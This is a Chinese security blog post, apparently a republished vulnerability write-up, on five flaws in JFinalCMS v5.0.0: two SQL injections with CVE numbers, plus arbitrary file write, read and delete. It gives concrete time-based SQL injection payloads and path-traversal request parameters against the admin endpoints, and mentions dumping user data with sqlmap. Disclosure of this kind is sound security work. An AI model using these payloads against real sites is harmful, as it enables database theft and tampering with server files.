漏洞挖掘 | JFinalCMS v5.0.0存在多种类型漏洞

admin 2024年3月31日16:38:00评论8 views字数 1639阅读5分27秒阅读模式
漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

JFinalCMS v5.0.0存在多种类型漏洞

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。

还在学怎么挖通用漏洞和src吗?快来加入星球~私聊有优惠
点击抽奖:揭秘内网安全:红队如何玩转渗透测试?文末抽奖,不用转发~

于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

漏洞详情

JFinalCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间,去陪恋人、家人和朋友的一套个人java开发的信息咨询网站

JFinalCMS v5.0.0存在sql、任意文件写入、任意文件删除、任意文件读取多种漏洞。

源码地址

https://gitee.com/heyewei/JFinalcms

版本

JFinalCMS v5.0.0

漏洞代码存在位置

/admin/div_data/delete?divId=9 #sql/admin/admin #sql/admin/template/save #任意文件写入/admin/template/delete #任意文件删除/admin/template/edit #任意文件读取

漏洞分析

0x01 JFinalCMS Custom Data Page SQL注入 CVE-2024-2568

自定义数据表存在SQL注入,地址为/admin/div_data/delete?divId=9

该函数Custom Data Page位于扩展内容 - 自定义数据中

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

payload:

cms_admin where id =20 or sleep(3) #

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

然后获取相应的数据包

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

sql延时

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

0x02 JFinalCMS /admin/admin nameSQL注入 CVE-2024-24375

/admin/admin 界面中存在一个 SQL 注入漏洞,JFinalcms 中存在一个通过 /admin/admin name 参数注入的 SQL 漏洞,该漏洞可以从前端直接串联成 SQL 语句。

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

AdminControl模块在收到name参数后传递给findPage函数,没有任何字符串过滤,这导致生成sql注入:

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

payload

name=' AND (SELECT 2522 FROM (SELECT(SLEEP(5)))qFTY) AND 'wguW'='wguW

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

从下图可看出,数据库中存储的敏感用户信息可以通过sqlmap获取到:

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

0x03 JFinalCMS 任意文件写入

JFinalcms v5.0.0在/admin/template/save中存在任意文件写入漏洞

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

选择新增模板并输入任何内容

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

修改数据包并写入任意指定路径
payload
directory=default&fileName=../../../../../key.txt&content=123456

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

同样成功写进文件

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

0x04 JFinalCMS 任意文件读取

JFinalcms v5.0.0 在 /admin/template/edit 中存在任意文件读取漏洞

在模版管理处点击编辑并抓包

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

修改数据包并写入指定路径

payload

/admin/template/edit?fileName=../../../../../key.txt&directory=default

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

0x05 JFinalCMS 任意文件删除

JFinalcms v5.0.0 在 /admin/template/delete 中存在任意文件删除漏洞

同样在模块管理中点击任意删除并抓包

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

修改数据包并写入指定路径

payload

/admin/template/delete?fileName=../../../../../key.txt&directory=default

漏洞挖掘  |  JFinalCMS v5.0.0存在多种类型漏洞

作者:bigbigbigbaby作者:RiverGone

原文始发于微信公众号(不秃头的安全):漏洞挖掘 | JFinalCMS v5.0.0存在多种类型漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月31日16:38:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞挖掘 | JFinalCMS v5.0.0存在多种类型漏洞https://cn-sec.com/archives/2616831.html

发表评论

匿名网友 填写信息